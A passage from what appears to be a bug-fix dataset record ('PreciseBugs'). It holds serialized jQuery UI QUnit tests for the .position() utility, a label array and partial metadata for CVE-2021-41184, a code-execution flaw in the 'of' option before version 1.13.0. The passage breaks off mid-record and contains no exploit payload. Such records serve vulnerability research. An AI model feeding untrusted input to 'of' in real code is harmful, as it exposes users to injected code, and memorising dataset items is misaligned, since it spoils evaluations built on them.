10,\n\t\tleft: 10\n\t}, \"no offset\" );", "\tcollisionTest( assert, {\n\t\tcollision: \"fit\",\n\t\tat: \"right+2 bottom+3\"\n\t}, {\n\t\ttop: 13,\n\t\tleft: 12\n\t}, \"with offset\" );\n} );", "// Currently failing in IE8 due to the iframe used by TestSwarm\nif ( !/msie [\\w.]+/.exec( navigator.userAgent.toLowerCase() ) ) {\nQUnit.test( \"collision: fit, collision\", function( assert ) {\n\tassert.expect( 2 + ( scrollTopSupport() ? 1 : 0 ) );", "\tcollisionTest2( assert, {\n\t\tcollision: \"fit\"\n\t}, {\n\t\ttop: 0,\n\t\tleft: 0\n\t}, \"no offset\" );", "\tcollisionTest2( assert, {\n\t\tcollision: \"fit\",\n\t\tat: \"left+2 top+3\"\n\t}, {\n\t\ttop: 0,\n\t\tleft: 0\n\t}, \"with offset\" );", "\tif ( scrollTopSupport() ) {\n\t\twin.scrollTop( 300 ).scrollLeft( 200 );\n\t\tcollisionTest( assert, {\n\t\t\tcollision: \"fit\"\n\t\t}, {\n\t\t\ttop: 300,\n\t\t\tleft: 200\n\t\t}, \"window scrolled\" );", "\t\twin.scrollTop( 0 ).scrollLeft( 0 );\n\t}\n} );\n}", "QUnit.test( \"collision: flip, no collision\", function( assert ) {\n\tassert.expect( 2 );", "\tcollisionTest( assert, {\n\t\tcollision: \"flip\"\n\t}, {\n\t\ttop: 10,\n\t\tleft: 10\n\t}, \"no offset\" );", "\tcollisionTest( assert, {\n\t\tcollision: \"flip\",\n\t\tat: \"right+2 bottom+3\"\n\t}, {\n\t\ttop: 13,\n\t\tleft: 12\n\t}, \"with offset\" );\n} );", "QUnit.test( \"collision: flip, collision\", function( assert ) {\n\tassert.expect( 2 );", "\tcollisionTest2( assert, {\n\t\tcollision: \"flip\"\n\t}, {\n\t\ttop: 10,\n\t\tleft: 10\n\t}, \"no offset\" );", "\tcollisionTest2( assert, {\n\t\tcollision: \"flip\",\n\t\tat: \"left+2 top+3\"\n\t}, {\n\t\ttop: 7,\n\t\tleft: 8\n\t}, \"with offset\" );\n} );", "QUnit.test( \"collision: flipfit, no collision\", function( assert ) {\n\tassert.expect( 2 );", "\tcollisionTest( assert, {\n\t\tcollision: \"flipfit\"\n\t}, {\n\t\ttop: 10,\n\t\tleft: 10\n\t}, \"no offset\" );", "\tcollisionTest( assert, {\n\t\tcollision: \"flipfit\",\n\t\tat: \"right+2 bottom+3\"\n\t}, {\n\t\ttop: 13,\n\t\tleft: 12\n\t}, \"with offset\" );\n} );", "QUnit.test( \"collision: flipfit, collision\", function( assert ) {\n\tassert.expect( 2 );", "\tcollisionTest2( assert, {\n\t\tcollision: \"flipfit\"\n\t}, {\n\t\ttop: 10,\n\t\tleft: 10\n\t}, \"no offset\" );", "\tcollisionTest2( assert, {\n\t\tcollision: \"flipfit\",\n\t\tat: \"left+2 top+3\"\n\t}, {\n\t\ttop: 7,\n\t\tleft: 8\n\t}, \"with offset\" );\n} );", "QUnit.test( \"collision: none, no collision\", function( assert ) {\n\tassert.expect( 2 );", "\tcollisionTest( assert, {\n\t\tcollision: \"none\"\n\t}, {\n\t\ttop: 10,\n\t\tleft: 10\n\t}, \"no offset\" );", "\tcollisionTest( assert, {\n\t\tcollision: \"none\",\n\t\tat: \"right+2 bottom+3\"\n\t}, {\n\t\ttop: 13,\n\t\tleft: 12\n\t}, \"with offset\" );\n} );", "QUnit.test( \"collision: none, collision\", function( assert ) {\n\tassert.expect( 2 );", "\tcollisionTest2( assert, {\n\t\tcollision: \"none\"\n\t}, {\n\t\ttop: -6,\n\t\tleft: -6\n\t}, \"no offset\" );", "\tcollisionTest2( assert, {\n\t\tcollision: \"none\",\n\t\tat: \"left+2 top+3\"\n\t}, {\n\t\ttop: -3,\n\t\tleft: -4\n\t}, \"with offset\" );\n} );", "QUnit.test( \"collision: fit, with margin\", function( assert ) {\n\tassert.expect( 2 );", "\t$( \"#elx\" ).css( {\n\t\tmarginTop: 6,\n\t\tmarginLeft: 4\n\t} );", "\tcollisionTest( assert, {\n\t\tcollision: \"fit\"\n\t}, {\n\t\ttop: 10,\n\t\tleft: 10\n\t}, \"right bottom\" );", "\tcollisionTest2( assert, {\n\t\tcollision: \"fit\"\n\t}, {\n\t\ttop: 6,\n\t\tleft: 4\n\t}, \"left top\" );\n} );", "QUnit.test( \"collision: flip, with margin\", function( assert ) {\n\tassert.expect( 3 );", "\t$( \"#elx\" ).css( {\n\t\tmarginTop: 6,\n\t\tmarginLeft: 4\n\t} );", "\tcollisionTest( assert, {\n\t\tcollision: \"flip\"\n\t}, {\n\t\ttop: 10,\n\t\tleft: 10\n\t}, \"left top\" );", "\tcollisionTest2( assert, {\n\t\tcollision: \"flip\"\n\t}, {\n\t\ttop: 10,\n\t\tleft: 10\n\t}, \"right bottom\" );", "\tcollisionTest2( assert, {\n\t\tcollision: \"flip\",\n\t\tmy: \"left top\"\n\t}, {\n\t\ttop: 0,\n\t\tleft: 4\n\t}, \"right bottom\" );\n} );", "QUnit.test( \"within\", function( assert ) {\n\tassert.expect( 7 );", "\tcollisionTest( assert, {\n\t\twithin: document\n\t}, {\n\t\ttop: 10,\n\t\tleft: 10\n\t}, \"within document\" );", "\tcollisionTest( assert, {\n\t\twithin: \"#within\",\n\t\tcollision: \"fit\"\n\t}, {\n\t\ttop: 4,\n\t\tleft: 2\n\t}, \"fit - right bottom\" );", "\tcollisionTest2( assert, {\n\t\twithin: \"#within\",\n\t\tcollision: \"fit\"\n\t}, {\n\t\ttop: 2,\n\t\tleft: 0\n\t}, \"fit - left top\" );", "\tcollisionTest( assert, {\n\t\twithin: \"#within\",\n\t\tcollision: \"flip\"\n\t}, {\n\t\ttop: 10,\n\t\tleft: -6\n\t}, \"flip - right bottom\" );", "\tcollisionTest2( assert, {\n\t\twithin: \"#within\",\n\t\tcollision: \"flip\"\n\t}, {\n\t\ttop: 10,\n\t\tleft: -6\n\t}, \"flip - left top\" );", "\tcollisionTest( assert, {\n\t\twithin: \"#within\",\n\t\tcollision: \"flipfit\"\n\t}, {\n\t\ttop: 4,\n\t\tleft: 0\n\t}, \"flipfit - right bottom\" );", "\tcollisionTest2( assert, {\n\t\twithin: \"#within\",\n\t\tcollision: \"flipfit\"\n\t}, {\n\t\ttop: 4,\n\t\tleft: 0\n\t}, \"flipfit - left top\" );\n} );", "// jQuery 3.2 incorrectly handle scrollbars in WebKit/Blink-based browsers.\n// This is fixed in version 3.3, see https://github.com/jquery/jquery/issues/3589.\n// As the data here comes from jQuery directly and the changes to fix it\n// are non-trivial: https://github.com/jquery/jquery/pull/3656, just accept\n// that scrollbar data in this jQuery version is inaccurate.\nQUnit[ jQuery.fn.jquery.substring( 0, 4 ) === \"3.2.\" ? \"skip\" : \"test\" ](\n\t\"with scrollbars\", function( assert ) {\n\tassert.expect( 4 );", "\t$( \"#scrollx\" ).css( {\n\t\twidth: 100,\n\t\theight: 100,\n\t\tleft: 0,\n\t\ttop: 0\n\t} );", "\tcollisionTest( assert, {\n\t\tof: \"#scrollx\",\n\t\tcollision: \"fit\",\n\t\twithin: \"#scrollx\"\n\t}, {\n\t\ttop: 90,\n\t\tleft: 90\n\t}, \"visible\" );", "\t$( \"#scrollx\" ).css( {\n\t\toverflow: \"scroll\"\n\t} );", "\tvar scrollbarInfo = $.position.getScrollInfo( $.position.getWithinInfo( $( \"#scrollx\" ) ) );", "\tcollisionTest( assert, {\n\t\tof: \"#scrollx\",\n\t\tcollision: \"fit\",\n\t\twithin: \"#scrollx\"\n\t}, {\n\t\ttop: 90 - scrollbarInfo.height,\n\t\tleft: 90 - scrollbarInfo.width\n\t}, \"scroll\" );", "\t$( \"#scrollx\" ).css( {\n\t\toverflow: \"auto\"\n\t} );", "\tcollisionTest( assert, {\n\t\tof: \"#scrollx\",\n\t\tcollision: \"fit\",\n\t\twithin: \"#scrollx\"\n\t}, {\n\t\ttop: 90,\n\t\tleft: 90\n\t}, \"auto, no scroll\" );", "\t$( \"#scrollx\" ).css( {\n\t\toverflow: \"auto\"\n\t} ).append( $( \"<div>\" ).height( 300 ).width( 300 ) );", "\tcollisionTest( assert, {\n\t\tof: \"#scrollx\",\n\t\tcollision: \"fit\",\n\t\twithin: \"#scrollx\"\n\t}, {\n\t\ttop: 90 - scrollbarInfo.height,\n\t\tleft: 90 - scrollbarInfo.width\n\t}, \"auto, with scroll\" );\n} );", "QUnit.test( \"fractions\", function( assert ) {\n\tassert.expect( 1 );", "\t$( \"#fractions-element\" ).position( {\n\t\tmy: \"left top\",\n\t\tat: \"left top\",\n\t\tof: \"#fractions-parent\",\n\t\tcollision: \"none\"\n\t} );\n\tassert.deepEqual( $( \"#fractions-element\" ).offset(), $( \"#fractions-parent\" ).offset(), \"left top, left top\" );\n} );", "QUnit.test( \"bug #5280: consistent results (avoid fractional values)\", function( assert ) {\n\tassert.expect( 1 );", "\tvar wrapper = $( \"#bug-5280\" ),\n\t\telem = wrapper.children(),\n\t\toffset1 = elem.position( {\n\t\t\tmy: \"center\",\n\t\t\tat: \"center\",\n\t\t\tof: wrapper,\n\t\t\tcollision: \"none\"\n\t\t} ).offset(),\n\t\toffset2 = elem.position( {\n\t\t\tmy: \"center\",\n\t\t\tat: \"center\",\n\t\t\tof: wrapper,\n\t\t\tcollision: \"none\"\n\t\t} ).offset();\n\tassert.deepEqual( offset1, offset2 );\n} );", "QUnit.test( \"bug #8710: flip if flipped position fits more\", function( assert ) {\n\tassert.expect( 3 );", "\t// Positions a 10px tall element within 99px height at top 90px.\n\tcollisionTest( assert, {\n\t\twithin: \"#bug-8710-within-smaller\",\n\t\tof: \"#parentx\",\n\t\tcollision: \"flip\",\n\t\tat: \"right bottom+30\"\n\t}, {\n\t\ttop: 0,\n\t\tleft: 60\n\t}, \"flip - top fits all\" );", "\t// Positions a 10px tall element within 99px height at top 92px.\n\tcollisionTest( assert, {\n\t\twithin: \"#bug-8710-within-smaller\",\n\t\tof: \"#parentx\",\n\t\tcollision: \"flip\",\n\t\tat: \"right bottom+32\"\n\t}, {\n\t\ttop: -2,\n\t\tleft: 60\n\t}, \"flip - top fits more\" );", "\t// Positions a 10px tall element within 101px height at top 92px.\n\tcollisionTest( assert, {\n\t\twithin: \"#bug-8710-within-bigger\",\n\t\tof: \"#parentx\",\n\t\tcollision: \"flip\",\n\t\tat: \"right bottom+32\"\n\t}, {\n\t\ttop: 92,\n\t\tleft: 60\n\t}, \"no flip - top fits less\" );\n} );", "} );" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [336, 152], "buggy_code_start_loc": [116, 151], "filenames": ["tests/unit/position/core.js", "ui/position.js"], "fixing_code_end_loc": [355, 157], "fixing_code_start_loc": [116, 151], "message": "jQuery-UI is the official jQuery user interface library. Prior to version 1.13.0, accepting the value of the `of` option of the `.position()` util from untrusted sources may execute untrusted code. The issue is fixed in jQuery UI 1.13.0. Any string value passed to the `of` option is now treated as a CSS selector. A workaround is to not accept the value of the `of` option from untrusted sources.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:jquery:jquery_ui:*:*:*:*:*:*:*:*", "matchCriteriaId": "CB6A3E8D-9C5E-48D3-B096-672A0FE3AE82", "versionEndExcluding": "1.13.0", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:fedoraproject:fedora:33:*:*:*:*:*:*:*", "matchCriteriaId": "E460AA51-FCDA-46B9-AE97-E6676AA5E194", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:o:fedoraproject:fedora:34:*:*:*:*:*:*:*", "matchCriteriaId": "A930E247-0B43-43CB-98FF-6CE7B8189835", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:o:fedoraproject:fedora:35:*:*:*:*:*:*:*", "matchCriteriaId": "80E516C0-98A4-4ADE-B69F-66A772E2BAAA", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:o:fedoraproject:fedora:36:*:*:*:*:*:*:*", "matchCriteriaId": "5C675112-476C-4D7C-BCB9-A2FB2D0BC9FD", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h300s_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "6770B6C3-732E-4E22-BF1C-2D2FD610061C", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h300s:-:*:*:*:*:*:*:*", "matchCriteriaId": "9F9C8C20-42EB-4AB5-BD97-212DEB070C43", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h500s_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "7FFF7106-ED78-49BA-9EC5-B889E3685D53", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h500s:-:*:*:*:*:*:*:*", "matchCriteriaId": "E63D8B0F-006E-4801-BF9D-1C001BBFB4F9", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h700s_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "56409CEC-5A1E-4450-AA42-641E459CC2AF", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h700s:-:*:*:*:*:*:*:*", "matchCriteriaId": "B06F4839-D16A-4A61-9BB5-55B13F41E47F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h300e_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "108A2215-50FB-4074-94CF-C130FA14566D", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h300e:-:*:*:*:*:*:*:*", "matchCriteriaId": "7AFC73CE-ABB9-42D3-9A71-3F5BC5381E0E", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h500e_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "32F0B6C0-F930-480D-962B-3F4EFDCC13C7", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h500e:-:*:*:*:*:*:*:*", "matchCriteriaId": "803BC414-B250-4E3A-A478-A3881340D6B8", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h700e_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "0FEB3337-BFDE-462A-908B-176F92053CEC", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h700e:-:*:*:*:*:*:*:*", "matchCriteriaId": "736AEAE9-782B-4F71-9893-DED53367E102", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h410s_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "D0B4AD8A-F172-4558-AEC6-FF424BA2D912", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h410s:-:*:*:*:*:*:*:*", "matchCriteriaId": "8497A4C9-8474-4A62-8331-3FE862ED4098", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h410c_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "234DEFE0-5CE5-4B0A-96B8-5D227CB8ED31", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h410c:-:*:*:*:*:*:*:*", "matchCriteriaId": "CDDF61B7-EC5C-467C-B710-B89F502CD04F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*", "matchCriteriaId": "013FAABA-8CDD-46AD-B321-9908634C880A", "versionEndExcluding": "7.86", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "7.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*", "matchCriteriaId": "BE1268C5-DEFD-44D8-8994-D93C7839D5C2", "versionEndExcluding": "9.2.11", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "9.2.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*", "matchCriteriaId": "7A28F55D-AEB8-454E-B1A9-163C4CB2B38D", "versionEndExcluding": "9.3.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "9.3.0", "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:tenable:tenable.sc:*:*:*:*:*:*:*:*", "matchCriteriaId": "CAB9A41F-91F1-40DF-BF12-6ADA7229A84C", "versionEndExcluding": "5.21.0", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:oracle:agile_plm:9.3.6:*:*:*:*:*:*:*", "matchCriteriaId": "C650FEDB-E903-4C2D-AD40-282AB5F2E3C2", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:application_express:*:*:*:*:*:*:*:*", "matchCriteriaId": "48B23728-0050-4AF0-B8B0-A959CBAB4505", "versionEndExcluding": "22.1.1", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:banking_platform:2.9.0:*:*:*:*:*:*:*", "matchCriteriaId": "AB9FC9AB-1070-420F-870E-A5EC43A924A4", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:banking_platform:2.12.0:*:*:*:*:*:*:*", "matchCriteriaId": "BDC6D658-09EA-4C41-869F-1C2EA163F751", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:big_data_spatial_and_graph:*:*:*:*:*:*:*:*", "matchCriteriaId": "384DEDD9-CB26-4306-99D8-83068A9B23ED", "versionEndExcluding": "23.1", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:big_data_spatial_and_graph:23.1:*:*:*:*:*:*:*", "matchCriteriaId": "BEF828F5-C666-40DA-98DD-CDF658D7090B", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:communications_interactive_session_recorder:6.4:*:*:*:*:*:*:*", "matchCriteriaId": "E812639B-EE28-4C68-9F6F-70C8BF981C86", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:communications_operations_monitor:4.3:*:*:*:*:*:*:*", "matchCriteriaId": "CBE1A019-7BB6-4226-8AC4-9D6927ADAEFA", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:communications_operations_monitor:4.4:*:*:*:*:*:*:*", "matchCriteriaId": "B98BAEB2-A540-4E8A-A946-C4331B913AFD", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:communications_operations_monitor:5.0:*:*:*:*:*:*:*", "matchCriteriaId": "B8FBE260-E306-4215-80C0-D2D27CA43E0F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:hospitality_inventory_management:9.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "8865CE15-F9A1-4A46-AF93-B58356BDEE6F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:hospitality_materials_control:18.1:*:*:*:*:*:*:*", "matchCriteriaId": "2AC63D10-2326-4542-B345-31D45B9A7408", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:hospitality_suite8:*:*:*:*:*:*:*:*", "matchCriteriaId": "C7F4B5F0-6B78-4A94-AD83-6B78D484E298", "versionEndExcluding": null, "versionEndIncluding": "8.14.0", "versionStartExcluding": null, "versionStartIncluding": "8.11.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:hospitality_suite8:8.10.2:*:*:*:*:*:*:*", "matchCriteriaId": "CBDA65DE-5727-49DC-8D50-DA81DB3E8841", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:jd_edwards_enterpriseone_tools:*:*:*:*:*:*:*:*", "matchCriteriaId": "C5F35B8D-6F26-4682-8541-6F10EE2ACE7E", "versionEndExcluding": null, "versionEndIncluding": "9.2.6.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.58:*:*:*:*:*:*:*", "matchCriteriaId": "D9DB4A14-2EF5-4B54-95D2-75E6CF9AA0A9", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.59:*:*:*:*:*:*:*", "matchCriteriaId": "C8AF00C6-B97F-414D-A8DF-057E6BFD8597", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:policy_automation:*:*:*:*:*:*:*:*", "matchCriteriaId": "15C83E0F-5FA2-47E5-9FCF-CD2E90D6A9E8", "versionEndExcluding": null, "versionEndIncluding": "12.2.25", "versionStartExcluding": null, "versionStartIncluding": "12.2.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:primavera_unifier:*:*:*:*:*:*:*:*", "matchCriteriaId": "08FA59A8-6A62-4B33-8952-D6E658F8DAC9", "versionEndExcluding": null, "versionEndIncluding": "17.12", "versionStartExcluding": null, "versionStartIncluding": "17.7", "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:primavera_unifier:18.8:*:*:*:*:*:*:*", "matchCriteriaId": "202AD518-2E9B-4062-B063-9858AE1F9CE2", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:primavera_unifier:19.12:*:*:*:*:*:*:*", "matchCriteriaId": "10864586-270E-4ACF-BDCC-ECFCD299305F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:primavera_unifier:20.12:*:*:*:*:*:*:*", "matchCriteriaId": "38340E3C-C452-4370-86D4-355B6B4E0A06", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:primavera_unifier:21.12:*:*:*:*:*:*:*", "matchCriteriaId": "E9C55C69-E22E-4B80-9371-5CD821D79FE2", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:rest_data_services:*:*:*:*:-:*:*:*", "matchCriteriaId": "105BF985-2403-455E-BAA1-509245B54A1D", "versionEndExcluding": "22.1.1", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:rest_data_services:22.1.1:*:*:*:-:*:*:*", "matchCriteriaId": "281F1ACB-3180-422C-BADF-B0AE5F50924E", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:weblogic_server:12.2.1.3.0:*:*:*:*:*:*:*", "matchCriteriaId": "F14A818F-AA16-4438-A3E4-E64C9287AC66", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:weblogic_server:12.2.1.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "4A5BB153-68E0-4DDA-87D1-0D9AB7F0A418", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:weblogic_server:14.1.1.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "04BCDC24-4A21-473C-8733-0D9CFB38A752", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": "AND"}], "descriptions": [{"lang": "en", "value": "jQuery-UI is the official jQuery user interface library. Prior to version 1.13.0, accepting the value of the `of` option of the `.position()` util from untrusted sources may execute untrusted code. The issue is fixed in jQuery UI 1.13.0. Any string value passed to the `of` option is now treated as a CSS selector. A workaround is to not accept the value of the `of` option from untrusted sources."}, {"lang": "es", "value": "jQuery-UI es la biblioteca oficial de interfaz de usuario de jQuery. Antes de la versi\u00f3n 1.13.0, aceptar el valor de la opci\u00f3n \"of\" de la utilidad \".position()\" de fuentes no confiables pod\u00eda ejecutar c\u00f3digo no confiable. El problema es corregido en jQuery UI versi\u00f3n 1.13.0. Cualquier valor de cadena pasado a la opci\u00f3n \"of\" se trata ahora como un selector CSS. Una soluci\u00f3n es no aceptar el valor de la opci\u00f3n \"of\" de fuentes no confiables"}], "evaluatorComment": null, "id": "CVE-2021-41184", "lastModified": "2022-11-07T17:20:09.440", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": 